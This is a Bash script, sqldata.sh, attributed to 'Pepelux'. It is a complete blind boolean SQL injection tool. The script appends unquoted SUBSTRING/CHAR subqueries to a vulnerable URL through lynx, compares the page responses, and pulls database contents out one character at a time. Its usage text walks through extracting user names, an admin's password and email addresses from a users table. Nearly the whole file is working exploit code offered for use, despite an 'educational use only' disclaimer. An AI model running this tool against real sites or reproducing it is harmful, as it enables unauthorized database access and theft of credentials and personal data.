#!/bin/sh

####################################################################
# version 1.0                                                      #
#                                                                  #
# sqlcheck.sh -> Mysql information, tables and fields              #
# sqldata.sh  -> Obtain values from the database (user, pass, ...) #
#                                                                  #
# by Pepelux (pepelux@enye-sec.org)                                #
#                                                                  #
# Website: http://www.enye-sec.org                                 #
# Blog:    http://www.enye-sec.org/pepelux                         #
####################################################################

# This script is for educational use only


##### REQUIREMENTS #####
# lynx navigator
# and linux :)


##### HOW DOES IT WORK #####
# This script exploits a vulnerable webpage injecting SQL code and doesn't use
# quotes to exploit it.
# Mysql doesn't show errors in the screen. For that we have to check the fields
# using the TRUE or FALSE method.
#
# To obtain information about tables and fields we use:
# 	(SELECT COUNT(*) FROM t_users WHERE SUBSTRING(user,1,1)=CHAR(52))>0


##### USAGE #####
# ./sqldata.sh <vulnerable_url> <string_to_compare> <table> <field1>
#              [<value_field1> <field2>]
#
# <vulnerable_url> is the URI to exploit. 
#	For example: http://www.domain.com/dir/show.php?id=5
#
# <string_to_compare> is a piece of string that only appears in the correct 
#                     call and doesn't appear with a bad call.
#
#	For example, suppose this webpage:
#	If you load http://www.dom.com/show.php?id=5 you'll see:
#		Hello Pepelux. You are the user number 5
#
#	And writting http://www.dom.com/show.php?id=5 and 1=0
#		Error! User not found
#
# 	In this example a possible string to compare is 'Hello' or 'Error'.
#
# <table> a table known. You can search table names with sqlcheck.sh. For
#         example if you'd like to search data for the t_users table.
#
# <field1> a field known for the table. You can search data for the 
#          table.field. For example field user from table t_users: t_users.user
#
# <value_field1> if you know a value for field1 you can search a field2. For 
#                example we are going to search the password for the user 
#                admin. In this case value_field1 is 'admin'
#
# <field2> a field to search if you know the first field. In the example before
#          table is 't_users', field1 is 'user', value_field1 is 'admin' and
#          field2 id 'pass'


##### EXAMPLES #####
# Table: t_users / Field: user
# We'd like to obtain all 'user' from the table 't_users'
# ./sqldata.sh www.dom.com/show.php?id=5 "Hello:" t_users user
#
# Table: t_users / Fields: user and pass
# We'd like to obtain the 'pass' for the 'user' 'admin'
# ./sqldata.sh www.dom.com/show.php?id=5 "Hello:" t_users user admin pass
#
# Table: t_users / Fields: id and email
# We'd like to obtain the 'email' for the user with 'id' '14'
# ./sqldata.sh www.dom.com/show.php?id=5 "Hello:" t_users id 14 email
#
# Table: t_users / Field: pass
# We'd like to obtain all 'pass' from the table 't_users'
# ./sqldata.sh www.dom.com/show.php?id=5 "Hello:" t_users pass


#------------------#
# Obteniendo datos #
#------------------#

if  [ $# -lt 4 ]
then
	clear
	echo "If you'd like to use it with params you can write:"
	echo "./sqldata.sh <vulnerable_url> <string_to_compare> <table> <field1>"
	echo "             [<value_field1> <field2>]"
	echo ""
	echo "<vulnerable_url>    -> The URI to exploit. Example:"
        echo "                       http://www.miweb.com/ruta/ver.php?id=5"
	echo ""
	echo "<string_to_compare> -> A piece of string that only appears in the correct"
	echo "                       call and not in a wrong call (to compare results)"
	echo ""
	echo "<table>             -> Table known. Example: t_users"
	echo ""
	echo "<field1>            -> Field known for the table. Example: user"
	echo ""
	echo "[<value_field1>]    -> Value of the field1 if you know it. Example: admin"
	echo ""
	echo "[<field2>]          -> Field to search in case you'd known the field1"
	echo "                       value: Example: pass"
	echo ""
	echo ""
	echo -n "Introduce the URI: "
	read URL
	echo -n "Introduce the string to compare: "
	read COMPARAR
	echo -n "Introduce a known table (ex: t_users): "
	read TABLA
	echo -n "Introduce a known field1 for the table (ex: user): "
	read CAMPO1
	echo -n "Introduce a value for field1 if you know it (optional): "
	read VCAMPO1
	echo -n "Introduce a second known field (optional): "
	read CAMPO2
else
	URL=$1
	COMPARAR=$2
	TABLA=$3
	CAMPO1=$4
	VCAMPO1=$5
	CAMPO2=$6
fi

URL=`echo $URL|sed 's/http:\/\///g'` # quitamos http:// si existe
URL1="http://$URL"
URL=`echo $URL|cut -d"/" -f1`
FICHERO="data-$URL-`date +%Y-%m-%d`.txt"
F1="`date +%s_1`.txt"
F2="`date +%s_2`.txt"

# correspondencia de caracteres con el codigo ASCII. Para usar el 
# resto de caracteres A-Z y 0-9 hay que añadirlos tambien aqui
CARACTER[32]=" "
CARACTER[33]="!"
CARACTER[34]="\""
CARACTER[35]="#"
CARACTER[36]="$"
CARACTER[37]="%"
CARACTER[38]="&"
CARACTER[39]="'"
CARACTER[40]="("
CARACTER[41]=")"
CARACTER[42]="*"
CARACTER[43]="+"
CARACTER[44]=","
CARACTER[45]="-"
CARACTER[46]="."
CARACTER[47]="/"
CARACTER[48]="0"
CARACTER[49]="1"
CARACTER[50]="2"
CARACTER[51]="3"
CARACTER[52]="4"
CARACTER[53]="5"
CARACTER[54]="6"
CARACTER[55]="7"
CARACTER[56]="8"
CARACTER[57]="9"
CARACTER[58]=":"
CARACTER[59]=";"
CARACTER[60]="<"
CARACTER[61]="="
CARACTER[62]=">" 
CARACTER[63]="?" 
CARACTER[64]="@"
CARACTER[65]="a"
CARACTER[66]="b"
CARACTER[67]="c"
CARACTER[68]="d"
CARACTER[69]="e"
CARACTER[70]="f"
CARACTER[71]="g"
CARACTER[72]="h"
CARACTER[73]="i"
CARACTER[74]="j"
CARACTER[75]="k"
CARACTER[76]="l"
CARACTER[77]="m"
CARACTER[78]="n"
CARACTER[79]="o"
CARACTER[80]="p"
CARACTER[81]="q"
CARACTER[82]="r"
CARACTER[83]="s"
CARACTER[84]="t"
CARACTER[85]="u"
CARACTER[86]="v"
CARACTER[87]="w"
CARACTER[88]="x"
CARACTER[89]="y"
CARACTER[90]="z"
CARACTER[91]="["
CARACTER[92]="\\"
CARACTER[93]="]"
CARACTER[94]="^"
CARACTER[95]="_"

INI=32
FIN=95

# si pasamos el primer campo y buscamos el segundo ....
if [ "$VCAMPO1" ] && [ "$CAMPO2" ]
then
	CAMPO_BUSCA=$CAMPO2
	
	VALOR_CONOCE=""
	
	for i in `seq 0 31`
	do
		x=${VCAMPO1:$i:1}
		
		if [ $x ]
		then
			for j in `seq $INI $FIN` # transformamos de caracter a ASCII
			do
				if [ $x = "${CARACTER[$j]}" ]
				then
					let i2=i+1
					VALOR_CONOCE="$VALOR_CONOCE SUBSTRING($CAMPO1,$i2,1)=CHAR($j) AND"
				fi
			done
		fi
	done
else
	CAMPO_BUSCA=$CAMPO1
fi

BUF[1]="URI: $URL1"
echo "URI: $URL1" >> $FICHERO
BUF[2]="String to compare: $COMPARAR"
echo "String to compare: $COMPARAR" >> $FICHERO
BUF[3]=""
echo "" >> $FICHERO
BUF[4]="Table: $TABLA"
echo "" >> $FICHERO
BUF[5]="First field: $CAMPO1"
echo "First field: $CAMPO1" >> $FICHERO
BUF[6]="First field value: $VCAMPO1"
echo "First field value: $VCAMPO1" >> $FICHERO
BUF[7]="Second field: $CAMPO2"
echo "Second field: $CAMPO2" >> $FICHERO
BUF[8]=""
echo "" >> $FICHERO
BUF[9]="Data:"
echo "Data:" >> $FICHERO

NBUF=9


lynx -accept_all_cookies -dump -connect_timeout=5 "$URL1" | grep "$COMPARAR" > $F1

for I in `seq 1 100`  # reinicializamos el array (buscamos hasta 100 caracteres)
do
	ARRAY[$I]=$INI
done

for J in `seq 1 100` # maximo 100 palabras
do
	AUX=""
	PALABRA=""
	SALIR=0
	CAR2=""
		
	for I in `seq 1 100`  # comprobamos 100 caracteres maximo
	do
		ENCONTRADO=0
	
		for CAR in `seq ${ARRAY[$I]} $FIN`
		do
			if [ $SALIR = 0 ]
			then
				URL2="$URL1 AND (SELECT count(*) FROM $TABLA WHERE $VALOR_CONOCE $AUX SUBSTRING($CAMPO_BUSCA,$I,1)=CHAR($CAR))>0"
				lynx -accept_all_cookies -dump -connect_timeout=5 "$URL2" | grep "$COMPARAR" > $F2

				# Escribimos los resultados anteriores
				clear
	
				for x in `seq 1 $NBUF`
				do
					echo ${BUF[$x]}
				done
	
				if [ $# = 6 ]
				then
					echo -n "TABLE: $TABLA - $CAMPO1($VCAMPO1) - FIELD: $CAMPO_BUSCA - VALUE: $PALABRA${CARACTER[$CAR]}"
				else
					echo -n "TABLE: $TABLA - FIELD: $CAMPO_BUSCA - VALUE: $PALABRA${CARACTER[$CAR]}"
				fi
	
				# -----------------
			
				diff $F1 $F2 >/dev/null
			
				if [ $? = 0 ] # encontramos un caracter
				then
					if [ "$CAR" = "$INI" ] && [ "$CAR2" = "$INI" ] # caracter espacio
					then
						SALIR=1
						break
					else
						CAR2=$CAR
						echo -n "${CARACTER[$CAR]}"
						ARRAY[$I]=$CAR
						AUX="$AUX SUBSTRING($CAMPO_BUSCA,$I,1)=CHAR($CAR) AND"
						PALABRA="$PALABRA${CARACTER[$CAR]}"
						ENCONTRADO=1
						break
					fi
				fi
			fi
		done
			
		if [ $ENCONTRADO = 0 ]
		then
			# incrementamos el ultimo caracter para continuar la busqueda
			ARRAY[$I]=$INI
			Y=$I
			let Y=Y-1
			X=${ARRAY[$Y]}
			let X=X+1
			ARRAY[$Y]=$X
			
			# comparamos la palabra con la anterior para evitar duplicados
			TMPX=$PANTERIOR
			TMPY=${TMPX#$PALABRA}
				
			if [ "$TMPX" = "$TMPY" ] # se trata de una nueva palabra (no esta contenida en la anterior)
			then
				echo ""
				PANTERIOR=$PALABRA

				if [ $# = 6 ]
				then
					let NBUF++
					BUF[$NBUF]="TABLE: $TABLA - $CAMPO1($VCAMPO1) - FIELD: $CAMPO_BUSCA - VALUE: $PALABRA"
					echo "TABLE: $TABLA - $CAMPO1($VCAMPO1) - FIELD: $CAMPO_BUSCA - VALUE: $PALABRA" >> $FICHERO
				else
					let NBUF++
					BUF[$NBUF]="TABLE: $TABLA - FIELD: $CAMPO_BUSCA - VALUE: $PALABRA"
					echo "TABLE: $TABLA - FIELD: $CAMPO_BUSCA - VALUE: $PALABRA" >> $FICHERO
				fi
			fi
				
			break
		fi
	done
		
	if [ $Y = 0 ]
	then
		break
	fi
	
#	if  [ "$VCAMPO1" ] && [ "$CAMPO2" ]
#	then
#		break
#	fi
done
			
echo ""
echo "Log saved in $FICHERO"
	
rm $F1 $F2
